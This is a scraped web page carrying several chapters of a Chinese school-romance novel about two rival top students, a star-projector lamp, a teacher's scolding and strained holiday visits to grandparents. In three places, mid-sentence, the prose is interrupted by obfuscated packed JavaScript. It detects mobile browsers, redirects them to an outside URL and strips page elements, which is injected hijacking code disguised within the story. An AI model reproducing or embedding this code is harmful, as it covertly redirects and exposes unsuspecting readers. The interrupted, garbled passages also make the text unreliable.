“比什么?”话题转得太快,宋不辞怔了怔,问。 “就比,”姜知幻下巴一扬,“谁先做完今天的作业。” 坦白来说,宋不辞对这个比赛心动了,因为他那该死的胜负欲。 他点头,按了下笔,“好。” “不过光做作业就太简单了。”姜知幻又说,“加一个互问互答。” 宋不辞略感奇怪道:“互问互答?” 姜知幻抬手,比出一个“OK”的手势。 “第一,不能说谎。” “第二,保证正确率。” “第三,不想回答就说过。” 她说规则的同时,三根手指依次往下扣,直至最后一根扣下,她问:“来吗?” 宋不辞眼尾轻挑,“来。” “那,开始。”姜知幻提笔,眼睛扫题,从善如流地发问,“心情不好,是因为我的名次在你之上?” 出乎意料的问题。 “不是。”宋不辞圈出题干中的关键词,“我们第一次见面是什么时候?” 姜知幻想也不想地说出一个日期,“二零一六年八月二十二号。” 果然不记得了。 宋不辞闻言,笔尖一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758469|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “喜欢吃什么?”姜知幻继续问。 宋不辞:“火锅,串串,烧烤。你呢?” 都是辣的啊。 姜知幻默默记在心上。 问题渐渐朝两人的喜好偏去,比如喜欢的颜色、喜欢的电影、喜欢的书籍……等等。 时间悄悄从两人的问答中溜走。 “为什么心情不好?”姜知幻放下笔,扭头看了看窗外,天已经完全黑了。 她补充,“这是最后一个问题,我做完了。” 快了一秒,她赢了。 宋不辞写下刚算出的答案,撂笔,静默地看着她,没回答,也不说过。 姜知幻似乎不指望他会回答,直接起身,自顾自地从书包里拿出一个不大不小的盒子,拆开。 宋不辞定睛一看,是星空灯。 “挑一张?”姜知幻将两张灯片放在他面前的习题册上,然后拿着星空灯和数据线走向门口,旁边的墙壁上有插孔。 宋不辞注视着那两张灯片,已经猜到她要干什么,但心跳还是乱了节奏。 一张叫“星河万象”,一张叫“太阳系”。 他喉结微动,抬手,指尖轻触其中一张灯片。连宋不辞自己都不知道是选择,还是单纯想碰一下。 姜知幻准备好,走到窗前,干脆利落地拉上窗帘。她看了眼他碰的那张灯片,“这张?” 说完,不等宋不辞回答,姜知幻拿走“星河万象”。 “啪嗒”一声,灯关了。眨眼间,室内陷入黑暗,唯有些许羸弱光线从磨砂玻璃门透进。 “宋不辞。”姜知幻插上灯片,说,“抬头。” 宋不辞依言抬头,一幕浩瀚景致映入眼帘。 明亮耀眼的光带周围点缀着无数繁星,璀错而壮丽,一两颗流星时不时慢慢划过,拖着长长的、银白色的尾巴。 美到失语。 在这一隅静谧,姜知幻为宋不辞亮起一片黑白色银河。 “老板说这张投影盘可以投出十万颗恒星,不知道是不是真的,但效果不错,挺漂亮。你心情好点了吗?” 少女嗓音清冽,如同冷泉间敲击的玉石,字字落在宋不辞心头。 “嗯。” 千言万语汇聚在嘴边,却都转化成了一个字。 宋不辞望着天花板上静静流淌的银河,在听到她的声音时,竟有一瞬间的失神。 这样简单粗暴又带点浪漫色彩的安慰,没法不让他动容。 姜知幻感慨,心说不愧是一分钱一分货,老板诚不欺我。 “看看另一张?”她说着,人已经开始行动了。 宋不辞眼尾泛着薄红,趁姜知幻背对着自己在换灯片,他抬手,用手掌按了按下眼皮。 转眼间,头顶的黑白银河变成了彩色宇宙。八大行星围绕着太阳转圈,月球围着地球转。 壮丽景象铺天盖地,将二人笼罩其中。 “你……”姜知幻开口,第一个字才出音,一阵敲门声陡然响起。 急促而沉重,像是敲门人的心情。 一位男老师推门而入,“啪”地打开灯,室内大亮,原有的微妙缱绻气氛瞬间烟消云散。 男老师厉声呵斥:“在监控室看你俩半天了,一会儿银河一会儿太阳系,哎哟,搞得还怪浪漫。谈恋爱都谈到自习室来了是吧?” 姜知幻早料到会被逮,没有半点慌张。 “老师你误会了。”宋不辞脸不红心不跳地胡扯道,“我们是为了观察银河和太阳系的区别。” “有啥区别,你给我说说。”男老师叉腰,不客气地看着他。 “组成不同,太阳系是由太阳和其八颗行星以及其他天体组成的行星系统,银河系则是由包括太阳系在内的数百亿颗恒星和星际物质组成的星系。”姜知幻抢答。 宋不辞接上,“结构不同,太阳系的结构是以太阳为中心,行星和其他天体围绕太阳公转,而银河系的结构则是由恒星、星团、星云、星际气体和星际尘埃等组成的巨大的盘面结构,其中恒星数量是太阳系中的上千亿倍。” 男老师嘴角抽搐,心说你俩搁这儿背书呢。他眯起眼看着宋不辞,认出是上学期期末的理科年级第一,有些半信半疑:“通过一个星空灯,你们观察出了这么多?” “主要靠悟性。”宋不辞露出一个小学生式乖巧笑容。 姜知幻附和地点点头。 男老师轻哼一声,毫无人情味道:“你们哪个班的?班主任是谁?我打电话让班主任来把你俩领回去。” 11. Chase 管理自习室的男老师名吕肃,肤色偏黑,浓眉下那双眼睛明锐有神,常年板着一张脸,气势威严,好多同学见他就犯怵。 以前老师们互开玩笑,管他叫“吕青天”。 关顺到达现场时,宋不辞和吕肃在聊去年三中举办的棒球比赛。而姜知幻抱臂倚着门框,姿态从容随性,偶尔接上两句话。 棒球她熟,但三中去年举办的棒球比赛不太了解。 三人言笑晏晏。 这一派和谐融洽的景象,让人都不忍插进去。关顺迟疑片刻,还是开口打断道:“吕老师。” 姜知幻闻声,放下手直起身,站姿比方才更规矩几分。 吕肃的兴趣爱好少,对棒球那是情有独钟,不过其他老师都是对“篮球”“乒乓球”感兴趣,他跟他们话不投机半句多,想分享都没个人说。 偏偏宋不辞挑起了这个话头,可不是正中下怀嘛。 吕肃内心有种“人生知己终寻到”的畅快,听见关顺叫他,说:“关老师你来了啊。” 这语气听着,怎么有点“嫌她来得太快”的遗憾? “你们……”关顺的目光在姜知幻和宋不辞之间流转,又看看吕肃脸上罕见地挂着笑,犹豫着该说什么。 刚接到电话时,吕青天的语气可以说跟现在是判若两人。 吕肃哈哈笑了两声,说:“没想到这两位同学喜欢打棒球,就多聊了两句。关老师,你带的学生眼光不错,有空多来自习室。” “好的,吕老师。” 姜知幻和宋不辞默契地点点头。 来的路上已经想好如何晓之以情、动之以理,结果却没一句话派上用场的关顺:“……” … “你说你考差了心里难受,需要宋不辞帮你开解一下,所以请假去自习室。” 跟吕老师道别,关顺领着两人边下楼边说。 现在是上第四节晚自习,同学们都待在教室,只有几位老师偶尔在校园内走动。 谁开解谁? 跟在关顺身后、摆弄着星空灯的宋不辞看了右边少女一眼,你编的借口还能再走心点吗? 姜知幻心虚地摸摸鼻子,自知这个请假理由的离谱程度,但更离谱的是,关顺当时听完沉默片刻,竟点头同意了! “是这样的,然后我们就讨论起了银河和太阳系的区别。”她目光坚定,脸上毫无表演痕迹,还深感歉意道,“对不起关老师,给你添麻烦了,下次一定不会再犯。” 宋不辞点头如蒜,诚意满满:“对不起,关老师。” “……”关顺一时哑言。 看看这俩,反省得多快,觉悟多高。 乖乖女。 这是关顺对姜知幻的直观印象,但现在,她感觉自己应该看走眼了。尤其是在对上宋不辞那副抓乖卖俏的样子,更加确定了此想法。 能玩到一块的,八成是同类人。 接手卷心菜班以来,关顺第一个看走眼的人便是宋不辞。他实在太会装了,当初教导主任通知说班里有两人逃课,其中一位男生叫“宋不辞”时,关顺都难以置信,直到去教导处看见真人,她莫名觉得自己受到了深深的欺骗。 此刻,关顺看着身后两人。演技是真不错啊,又都长了张过目不忘的脸,要是进演艺圈发展,估计也能混得风生水起。 她眉头微蹙,审视半晌,郑重地问:“你们老实跟老师交代,是不是在谈恋爱?” “没有。” 两人同步地摇摇头,说。 “你俩还挺默契。”关顺调侃。 她懂,在暧昧期。 十七八岁,正是最孤勇的年纪。 TA们的爱意热烈、张扬、也鲜活生动,青涩的喜欢,笨拙地表达。这份纯粹,十分令人动容,哪怕多少年后再次提及,依旧是青春里最浓墨重彩的一笔,永不褪色。 坦白说,关顺不反对早恋,但前提得是健康积极的喜欢。至于姜知幻和宋不辞,再观察一段时间吧。 “那就是吕老师说的星空灯?” 三人走出博闻楼,关顺瞧了眼宋不辞爱不释手地拿着把玩的东西,问。 “嗯。”宋不辞笑里带着几分少年气,安利道,“关老师你要看吗?特别漂亮。” “听老板说有十万颗恒星哦。”姜知幻帮腔。 关顺哭笑不得,忽然明白那个铁面无私吕青天没把两人直接带到教务处,而是让她来接。 她心里不禁涌出一股怀旧情绪。 年轻,真好。 - 傅琳打了通电话,姜知幻没接到,回家的途中拨了回去。 “小知,刚放学吗?”傅琳的声音洋洋悦耳。 姜知幻耳朵里塞着蓝牙耳机,她一心二用,看着姜陆予回复的消息,问:“听你语气这么开心,工作很顺利?” L:不愧是优秀代言人 L:[赞赞赞.jpg] “嗯,这次应该能赶在中秋节前回来。”傅琳说,“成绩单我看了,我家宝贝怎么这么让人放心呢,事事都不需要操心啊,感觉我这个妈当得太轻松了。” 姜知幻笑着打字,“这样不好吗?我希你和爸专注自己的事业,只要心里有我就好。” 姜郎不才尽:[不愧是我.jpg] “宝贝,说真的,你不用太懂事,有什么心事一定要跟妈妈爸爸说。”傅琳低声笑了下,说,“好歹也让妈体验一把叫家长的滋味呗。” 姜知幻嘟囔:“也不是没被叫过。” 高一上学期,她跟一个同校男生在校外起了争执,把对方按在地上打,旁人拦都拦不住。由于傅琳和姜陆予都有事忙,脱不开身,最后是陈百臻把姜知幻捞出来的。 当时闹得挺大,圈内人尽皆知,周知敏和傅凌杰也是因为这事儿断定傅琳教育不好孩子。 “那能一样吗。”傅琳没好气道,“不过,你们是因为什么而打起来?” 她在事发当晚就问过,但女儿不愿意说,便没有强求。 姜知幻撇嘴,只说:“他活该。” “妈,我有分寸,不会无端生事。”她补充了句。 女儿脾性执拗,没人能撬得开她的嘴。但她也确实有分寸,不仅挑在监控下的地方,还等对方先动手才回击,证据甩出来一看,论谁都不会把错全归咎在她身上。 只是傅琳看到那男生鼻青脸肿的惨样后,心里有种说不出的忧心,又不知是什么原因。 可能是她多想了吧。 “妈相信你。你早点回家休息,妈这边还有点事没处理完。”傅琳说。 … “以为你多大能耐,结果不仅被人家甩了十分,呵呵。我已经跟小李说了,周末的家教老师也安排好了,你这段时间就不要有多余的娱乐活动,什么时候能稳住那个位置,什么时候再跟我谈条件。” “宋不辞,不要让我再失望。” 徐情出差去了,得知周考成绩后,给宋不辞发了语音。宋无恙不知所踪,照例发了一笔钱,不说任何话。这是他的习惯,每次吵完架后都会给宋不辞发钱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758470|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>也好,一个人在家更轻松点。 宋不辞随便煮了点东西吃,拿起扔在沙发上的书包上二楼。姜知幻用来哄他的星空灯,他带回来了,放在床头柜上。 大概是他三番两次的负隅顽抗起了效果,徐情卧室终于没在他卧室里放摄像头了。 宋不辞拉上窗帘,关了灯,打开星空灯。他躺在床上,看着天花板上密聚的繁星,盯久了,感觉下一刻星星就会坠进眼睛。 这个牌子的星空灯他略有耳闻,堪称星空灯界的天花板,正版店在港都,没开网店,其他地方也没有分店,如果想买得拜托人代购。 聪明漂亮见识广,性格讨喜,自信而不自傲,家庭背景也不一般。 这么优秀的人,他配得上吗? 宋不辞一只手盖在眼睛上,有些烦闷地叹了口气。他想起了姜知幻在自习室中说的话。 ——“心情不好,是因为我的名次在你之上?” 问话干脆又直接,却没让他觉得反感。 姜知幻的说话方式或行事风格有种不露怯的直白,她身上的锋芒并不逼人,却又带着股不容小觑的劲。 似乎所有事在她面前只有“做不做”的考量,而不是“敢不敢”的犹虑。 宋不辞很喜欢,因为他能直观地感受到,姜知幻对待他和对待别人的不同。 这份偏向,他从小到大少有得到;而这份直白,他可望不可即。 喜欢上一个人后,没想到最先得到的情绪是自卑。 消息提示音响起,宋不辞在床铺上摸索了会儿,抓到手机。 姜郎不才尽:体委,家里的银河好看吗? 坏情绪骤然消散。 宋不辞勾唇,对着天花板拍下一张照片发过去。 serendipity:我数了,没有十万颗星星 serendipity:差评 姜郎不才尽:[白眼.jpg] 姜郎不才尽:你这句话留到明天早上发,可能还有点说服力 空荡的房间内,宋不辞抑制不住地笑出声。 serendipity:这么晚了还不睡? 姜郎不才尽:有话想跟你说,方便打电话吗? 宋不辞看完这句话,直接拨了个语音电话过去。 “什么事儿?”他语气含笑,带着慵懒的京腔味。 “有关最后一个问题。”姜知幻说。 宋不辞怔愣,“怎么了?” “宋不辞你很厉害。” 少女声音平和,清晰入耳。 宋不辞呼吸一滞,握手机的力道都加重了点。 奶奶去世后,再也没人跟他说过“厉害”二字。 姜知幻话里的意思,没点默契可能都领会不了。 她问过宋不辞,心情不好是不是因为成绩在她之下,宋不辞的回答是“不是”,姜知幻信他。所以因为成绩引发的其他境况,比如家里人不满意……那她想告诉他,不要否定自己,不要怀疑自己。 “宋不辞,你很厉害,但我不差。所以后面的考试加把劲,我可不会让着你。”少女的语气,比银河还要坦荡。 “你这是夸你,然后顺带夸一下我?”宋不辞低笑了声,感觉自己完全栽了。 还好她没怎么哄过人,经历那么一遭,谁受得了啊。 姜知幻老神在在道:“大师发言都这样,好吧。” “那……”宋不辞停顿了下,说,“谢谢你啊,小姜老师。” 看来,假想敌要换对象了。 12. Chase 假期前的最后一节课完,整栋楼都沸腾了,大家欢呼雀跃,活像一群迫不及待要出山的猴子。 “老宋,明天约一下?”范洋隔着走廊,问。 宋不辞拉上书包拉链,懒悠悠道:“约不了,有事。” “那夏哥呢?”范洋目光转向夏闲。 夏闲背上书包,冷淡地丢给他两个字,“同上。” 宋不辞和夏闲很难约,班里和他们关系较好的同学都经常被拒绝,问起来就是有事,多余的解释只字不语。 “靠,一个二个真不给面子,温玉的档期都没你们满。”范洋嘴上吐槽着,心里却已见怪不怪,看向同桌秦六佑,夹着嗓子说,“佑佑,还是你最好了~” “咦——滚开,恶心吧啦的。”秦六佑顿时起一身鸡皮疙瘩,偏开头,目光无意识跟姜知幻对上。他愣住,莫名慌了神,脑子一热问出口,“姜同学,周末要一起出去玩吗?” 草草草!!! 这死嘴,怎么就说出口了! 秦六佑立马就后悔了,但说出去的话就像泼出去的水,无法挽回。 “好啊好啊,老六你也嫌弃我是吧?!”范洋气急败坏。 听见有人叫自己,姜知幻看过去。她没说话,细想了下这段时间跟同学间的相处。 她跟老六熟吗?不熟,没讲过几句话,甚至都不清楚本名,只知道外号。 宋不辞刚跟姜知幻说完“先走了,拜拜”,抬脚才跨出位置一步,闻言,脚步一顿。跟在后面的夏闲没留意,直接撞到他背上。 “你脚下突然长钉子了?”夏闲睨他。 姜知幻的视线挪到宋不辞身上。 “不去了,我也有事。”她笑了下,拒绝道。 秦六佑故作轻松地点了点头,收回目光,同范洋说:“周末去哪儿?电玩城?” 刚才发生的一切仿佛就是个无关紧要的小插曲。 夏闲神色倦怠,嘴边却勾着坏笑,问前面的人:“钉子拔走了吗?” “刚拔走。”宋不辞不自觉地弯唇,重新抬脚走人,经过姜知幻身边时,小声说了句,“中秋节快乐。” 姜知幻眉头轻扬,不紧不慢地继续收拾。 除了开学第一天放学,两人再也没一起走过。她曾看见宋不辞和夏闲出校门后,坐上了一辆黑色宾利。 听冯潇潇说,他俩住的地方离得比较近,所以经常一起坐车回家。啧,有钱人的生活就是好,上下学都不用挤公交。 姜知幻倒不太关心有不有钱的问题,只是在想那晚送了她后,在校外,宋不辞似乎有意避着她。 如果怕被误会,校内才更应该避嫌吧? … 姜陆予中午抵达江城,傅琳则是下午。 姜知幻一打开家门就闻到香喷喷的饭菜味,她站在玄关柜前,边兴冲冲地换鞋,边大声说了句:“爸妈,我回来了。” “回来啦宝贝。”傅琳摘下金丝框眼镜,合上电脑,起身绕过沙发,“快去洗手,准备吃饭,你爸做了你爱吃的糖醋里脊。” 姜知幻眼睛一亮,放下书包,直奔餐桌。她贪嘴,直接用手拿了块糖醋里脊,刚放进嘴里就含糊不清地嚷嚷着:“好烫好烫。” “让你先洗手,这么急干嘛。”傅琳嘴上责备着,眼里全是宠溺和关切。 “遵命,傅女士。” 姜知幻对傅琳不正经地敬了个礼,转身,就见姜陆予端着菜从厨房出来,她嬉皮笑脸地说:“姜老板,好久不见。” “好久不见,小姜同志。”姜陆予说,脸上笑意淡若清风。 傅琳看着父母俩打趣的场景,心灵多了丝丝慰藉和温暖。 一家三口的气氛就应该如此。 “这次中秋节也要去吗?” 餐桌上,姜知幻咽下嘴里的饭,问。 姜陆予给傅琳盛了碗汤,疑惑道:“怎么突然问这个问题?” 不怪他会多想,每逢团圆的节假日,夫妻俩都会带女儿去拜访外公外婆和爷爷奶奶,十年如一日。印象中,女儿还从来没问过这个问题。 是遇到什么事了吗? “没,就是问问。”姜知幻默默夹菜。 她不太理解,每年都不受待见,干嘛还要上赶着讨人嫌。但爸妈总说,我们做好情面上的事就可以了,别在意其他人的态度。 十七年过去,铁杵也能磨成针了吧? 也不知道今年的结果会不会有所改变。 事实证明,一尘不变。 周知敏开门后看见夫妻俩的一刹那,脸色登时阴沉下来,变得比天还快。 她堵在门口,睇了眼姜陆予手上拎的东西,冷嘲热讽道:“每年都来,你也是拉得下脸。” “爸妈,中秋节快乐。”姜陆予那张冷峻的脸上多了几分温和。 周知敏眉头皱得能夹死一只蚊子,“谁是你妈。” 姜陆予充耳不闻。 傅凌杰走到门口,连亲女儿都没看一眼,直接对姜知幻说:“有知,进来。” 不近人情到带点命令的口吻。 姜知幻:“……” 她就知道,见面即修罗场。 傅琳不悦地拧起眉头,姜陆予也褪去笑容。 “她叫姜知幻,是我们的女儿,不是谁召之即来挥之即去的工具。”傅琳克制着态度,语气不算恶劣。她拿过姜陆予手中的东西轻放在地上,说,“中秋节快乐,这些东西你们要就拿进去,不要就扔垃圾桶。” 说完,她拉起姜知幻的手,转身离开。 周知敏快步上前阻拦,“你们走就走,干嘛带上有知?她必须要陪我们过节。” “外婆……”姜知幻开口,但有些话到嘴边却咽了回去。于是在其他人眼里,她只是轻轻叫了声,没了后话。 傅琳年轻时就是一意孤行的典型代表,无论儿时的兴趣爱好或高考填的志愿,她决定好后就再不可能改变,哪怕在家闹得鸡犬不宁,也固执地遵循本心。 而姜陆予没说过忤逆的话,即使被老两口踏雪得一无是处,他仍好脾气地听着。一来是不想让傅琳和姜知幻为难,二来是知道老两口只把他当做无关紧要的陌生人来看,不管如何讨好,关系也毫无改善的趋势可言,于是干脆摆烂。 不过姜陆予也不是完全没脾气,妻子和女儿得到应有的尊重是他的底线。 “妈,你记得你们以前经常对我说的一句话是什么吗?”傅琳停顿了下,说,“我的女儿,我想让她做什么她就得做什么。” 姜陆予眉心微蹙,悄然握住她的手。 “如今这句话,我原封不动地还给你们。” 傅琳音量不大,却掷地有声。 周知敏怔愣,傅凌杰面色凝重,一言不发。 楼道内静悄悄,一抹阳光从窗户透进,被切割成方块形,落在傅琳和周知敏中间的地面上。 岁月似乎没在傅琳脸上留下痕迹,四十多岁了,眉眼依旧如当年那般秾丽。她长卷发披肩,神色漠然,宛若一只高傲独立的黑天鹅。 当年是哪一年?周知敏鬼使神差地回忆了下,惊觉时间原来溜得这么快。 大一开学那年,傅琳也是这幅模样,独自拖着行李箱头也不回地离开江城。从此以后,他们没给过傅琳一分钱,打过一通电话,而她也再没回过家,每年固定往家里汇钱。 这一家人,都出其的狠心。 江城近段时间没有降温的趋势,离了空调房依然热。奇怪的是,楼道里连点风都没有,却让人感觉凉嗖嗖。 在这诡异的氛围中,姜知幻听见姜陆予说:“爸妈,我们先走了。” 临走前的体面。 … 拜访拢共花了不到半小时,两拨人不欢而散,按以往的安排,这会儿应该即刻启程去港都。 “要不还是别见了。” 去机场前,姜陆予突然说。 “没事,他们对小知挺好的。”傅琳小幅度摇了摇头,她口中的“他们”指的是姜知幻的爷爷奶奶。 这些年来,爷爷奶奶吝啬于见面,却不吝啬给姜知幻花钱,每次送的生日礼物不一定是最好的,但一定是最贵的。 飞机上,姜知幻摊开毛毯盖在身上,准备好好睡一觉养精蓄锐,毕竟要坐七个多小时才到。 “小知。”旁边的傅琳低声唤她,“还是不能告诉妈妈原因吗?” 为什么想要转学来江城的原因。 姜知幻冲她眨眼笑,“我不是都说过了嘛,单纯对这座城感兴趣。” 随性又敷衍的理由。 傅琳头疼地揉了揉太阳穴,忧心忡忡地喃喃:“可为什么我总觉得你遇上了什么事……” 她少有流露出这幅疲惫模样。 “妈,你别多想。”姜知幻拍拍她的背,笑盈盈道,“一般都是我找事,事什么时候找过我。” “你有时候就是太懂事了,在爸妈面前没必要这么懂事。”傅琳心疼地摸了摸她的头,说,“有什么问题一定要跟我们说,知道吗?” “知道。”姜知幻转移话题道,“妈,喜欢是什么感觉?” 傅琳挑眉,“怎么,有看上的人了?” “不知道,在思考。” “喜欢哪是需要思考的啊宝贝,傻不傻。” “那你当初是怎么确定喜欢我爸的?一见钟情?” “你爸那张脸难道不值得让人一见钟情吗?” … 氛围逐渐变得和洽欢快,姜陆予静观默察,指尖有规律地在腿上轻叩。这是他陷入沉思时的表现。 “爸,你当初是怎么确认喜欢上我妈的啊?”姜知幻将话头抛出,打断他的思绪。 姜陆予看她,没多说什么,笑着回了两个字:“你猜。” “也是一见钟情?” 姜陆予轻提了下嘴角,不置可否。 姜知幻啧啧赞叹,“果然,颜控是会遗传的。” 傅琳和姜陆予相视一笑。 - 港都的天气不同于江城那般炎热,甚至还有点冷。好在姜陆予有先见之明,上飞机前就准备好了一家人的外套。 姜知幻开机的第一件事便是发消息,以她爸那见微知著的洞悉能力,铁定会问到陈叔头上。尽管之前跟陈叔约定好了,但姜陆予跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758471|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他共事多年,三两句话就让他临时倒戈的情况也不是没可能。 为了保险起见,她得先下手为强。 姜郎不才尽:陈叔,你知道的,我一直把你当战友看 姜郎不才尽:战友之间的信任是什么? 陈叔:不抛弃,不放弃 姜郎不才尽:上道! 陈叔:你爸已经给我打过电话了 姜知幻机警地瞄了眼身后推行李箱的姜陆予。下飞机后,她爸就没离开过她的视线半步。 姜郎不才尽:不可能 陈叔:七小时前 姜知幻暗暗佩服。 不愧是老姜。 陈叔:我什么都没透露 陈叔:但是小知,这件事我觉得对你的影响不小,要么尽早坦白,要么跟崔医生好好交流一次 陈叔:这次我可不是纯帮忙,你知道的 姜知幻抿了抿唇角,紧盯“崔医生”三字片刻,直接将手机息屏揣进兜里,装死不回复。 … 姜宅坐落于半山腰,法式城堡风,优雅浪漫,极具对称美。 这儿背靠郁郁苍苍的山峦,树木停僮葱翠,生意盎然;面朝波光淋漓的维港,夜幕降临时,高楼大厦灯火通明,水光交融,美不胜收。 自记事起,姜知幻每年来姜宅的次数屈指可数,即使来了,也不一定能见着传闻中那两位曾在港都叱咤风云的老人家,倒是跟后花园里那棵海棠树混了个眼熟。 遗憾的是花期已过,今年是没机会看了。她颇感惋惜地想。 “二少爷,老爷在书房与大少爷谈事,夫人说让你们坐会儿再走,她有事忙就不下来了。”侍从毕恭毕敬道。 坐会儿再走,有事忙就不下来了。 这不过是委婉的传达,实际梁春溪说的原话是,东西放了就走,她懒得下楼看。 姜陆予微微颔首,平静无波地“嗯”了声。 会客厅一般作为与外人谈话的空间,平常来老宅的外人不多,所以一向冷清。可今日有所不同,厅内站着两个人。 男的拄着拐,穿着价值不菲的西装,胸口别着水晶胸针,银白发丝往后梳成大背头,挺潮一小老头。女的身着黑色旗袍,水墨画披肩包裹肩颈,气质端庄矜贵。 姜知幻认出是二爷爷和二奶奶,同样不受姜楷书和梁春溪欢迎的人。 姜家祖辈那点风流事,港都人尽皆知。 二爷爷姜文墨是二房所生,而姜楷书则是大房。据说两人是在其他几房后辈中拼打出一条血路,脱颖而出,其手段与心性的残忍强硬程度可见非同一般。既是家人关系,又是敌对关系。 不过祖辈上那些关系乱七八糟得像团毛线,剪不断理还乱,其中曾祖的五房十八子女是最具乐道的噱头,几乎街谈巷议,年年都能听见人翻出来聊。 要说姜知幻一点不知道,那肯定是违心的。 “阿予来了。”姜文墨是个笑面虎,面上看起来对谁和蔼可亲,“最近过得怎么样?” “老样子。”姜陆予放下东西就要走人,没有想寒暄的意思。 傅琳对上两人的目光,不冷不热地说了句:“阿叔阿婶好。” 姜知幻淡笑,“二爷爷二奶奶好。” 姜家礼节繁多又极为注重。不过姜陆予早就与姜楷书断绝血缘关系,逢年过节来也不过是因为梁春溪当初那句“那女人可真会挑拨,让你一年到头都能狠下心不跟家里来往”。 不求两家老人对他多满意,唯一的希望就是别对他妻子有偏见。 郑榆面色不虞,显然是对一家三口的态度不满,但又寻不到说处。 都不是姜家人了,哪能用规矩施压,况且人家语气还挺客客气气。 “阿予,我一直都很看好你。”姜文墨倒是不恼,反而语气更加欣喜。 是看好我爸持有的股份吧。 姜知幻皮笑肉不笑地扯了下唇角。 她对太爷的了解都来源听闻,据说老人家还在世时格外喜爱姜陆予,遗嘱里给他留了10%的股份。如果姜文墨能拿到,那整个致明集团唾手可得。 姜陆予常年置身事外,不参与他们的腥风血雨,他的事业重心在海外,近两年才转战到京城和港都。但这也不代表会随随便便将股份拱手让人,毕竟东西留着,关键时刻能明哲保身。 “阿叔,文化馆的木芙蓉开了,有空可以陪阿婶去看看。我们先走了。”姜陆予牵起傅琳的手。 傅琳搂着姜知幻的肩,母女俩笑盈盈地说了道别,面子上的工作做得还算足。 一家人谈笑风生地走出会客厅。 “他什么意思?”郑榆愣住,完全琢磨不透姜陆予在隐喻什么。 众所周知,姜陆予当年是整个姜家最精明强干、七窍玲珑的小辈,其他人远不及他,所以能独得阿爷喜爱。 就是太聪慧了,郑榆有时候都听不懂姜陆予说的话。 姜文墨哈哈大笑两声,说:“难怪爸喜欢他呢。” 郑榆苦思冥想,没得出个所以然来。听见姜文墨的笑声,她一双柳叶眉轻拧,嗔了他一眼,心说你们姜家人都莫名其妙得很。 13. Chase 姜知幻还挺喜欢过节的,虽然拜访两家老人会闹出一些不愉快,但余下的时间都是和父母度过。 W&L餐厅,拥有一面巨大的落地窗,正对维港,方便顾客边吃边观赏夜景。餐厅中央,穿着考究的钢琴家正在演奏肖邦的《降E大调夜曲》,优美的音符在每一个角落中回荡。 “祝贺傅琳女士合作谈成。”姜陆予看向旁边坐着的傅琳,眼神比窗外的维港还要迷人柔情。 傅琳眉眼微弯,端起红酒杯,与他的轻碰了下,“谢谢,祝姜老板的新项目开展顺利。” 姜知幻嘴里咬着吸管,口齿不清道:“狗粮一直吃,年年味不同。” “那你找个人谈谈,也让我和你爸尝下狗粮是什么味。”傅琳笑道。 听她妈这么说,姜知幻没来由地想起冯潇潇说的话。 ——“我要是谈恋爱被发现的话,我爸妈直接上演男女混合双打。” 当时,韦枫玥和齐思感同身受地点着头,只有她不解:“这么严重吗?” 姜知幻从小接触的圈子里,那些狐朋狗友们的对象三天两头地换,炫耀自己谈了多少个,而他们家里人即便知道也不在意。 用那些家长的话来说,小孩子之间的游戏罢了,玩玩就玩玩呗,别捅大娄子就行。 “羡慕你有一对开明的父母。”冯潇潇是这样评价的。 这不是正常相处模式吗? 姜知幻耸耸肩,觉得这话说出去可能会讨人嫌,便埋头默默吃饭。 早恋,被许多家长视作禁忌,仿佛只要沾上,便会毁了一个人的一生,尤其是她们这个年龄。但傅琳和姜陆予却从不避讳,甚至有时还会当开玩笑一般说出来,没有半点反对的意思。 现在想来,确实开明。 不过姜知幻是在这样的氛围中长大,早就习以为常,加上父母感情一直很好,告诉她对待感情要认真负责,所以她从不把恋爱当作儿戏来玩乐,或是潮流风标。再则,还从来没有人让她动过要好好谈个恋爱的念头。 “妈,你们不反对早恋吗?”姜知幻好奇道。 她十分乐忠于跟父母探讨问题。 傅琳放下手中的叉子,说:“那得看是怎样的恋爱,两个人越来越好,那没问题。” 姜知幻:“如果是危害呢?” 傅琳摇摇头,“小知,我相信你,恋爱后的你依旧是你,清醒理智。如果发现一段关系影响到自己的生活、心情、学业或事业,那你应该会及时止损,而不是稀里糊涂地继续下去。爱情这种东西,并不是必需品。” 这段话,她不仅仅是说说而已,更是亲身实践给女儿看了。 姜陆予盯着身旁的妻子,她说一句他点一下头表示赞同,眼里是有光的。 有傅琳在的场合,其他人看到的基本都是他的侧脸。 “还有一点,”听完,姜陆予补充,“小知,你知道的,爸爸一直很相信你的眼光。” 他女儿这么优秀,对方要是不够格,他第一个反对。 